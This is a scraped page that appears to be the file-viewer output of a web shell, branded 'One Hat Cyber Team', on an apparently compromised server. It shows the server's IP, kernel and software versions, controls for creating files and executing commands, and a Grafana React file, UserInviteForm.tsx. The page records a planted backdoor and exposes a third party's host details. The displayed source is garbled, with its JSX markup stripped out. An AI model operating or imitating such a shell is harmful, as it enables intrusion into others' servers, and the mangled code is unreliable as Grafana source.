⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
features
/
org
/
View File Name :
UserInviteForm.tsx
import React from 'react'; import { locationUtil, SelectableValue } from '@grafana/data'; import { locationService } from '@grafana/runtime'; import { Button, LinkButton, Input, Switch, RadioButtonGroup, Form, Field, InputControl, FieldSet, Icon, TextLink, Tooltip, Label, Stack, } from '@grafana/ui'; import { getConfig } from 'app/core/config'; import { OrgRole, useDispatch } from 'app/types'; import { addInvitee } from '../invites/state/actions'; const tooltipMessage = ( <> You can now select the "No basic role" option and add permissions to your custom needs. You can find more information in
our documentation
. > ); const roles: Array
> = Object.values(OrgRole).map((r) => ({ label: r === OrgRole.None ? 'No basic role' : r, value: r, })); export interface FormModel { role: OrgRole; name: string; loginOrEmail?: string; sendEmail: boolean; email: string; } const defaultValues: FormModel = { name: '', email: '', role: OrgRole.Editor, sendEmail: true, }; export const UserInviteForm = () => { const dispatch = useDispatch(); const onSubmit = async (formData: FormModel) => { await dispatch(addInvitee(formData)).unwrap(); locationService.push('/admin/users/'); }; return (
{({ register, control, errors }) => { return ( <>
Role
{tooltipMessage && (
)}
} >
} control={control} name="role" />
Submit
Back
> ); }}
); }; export default UserInviteForm;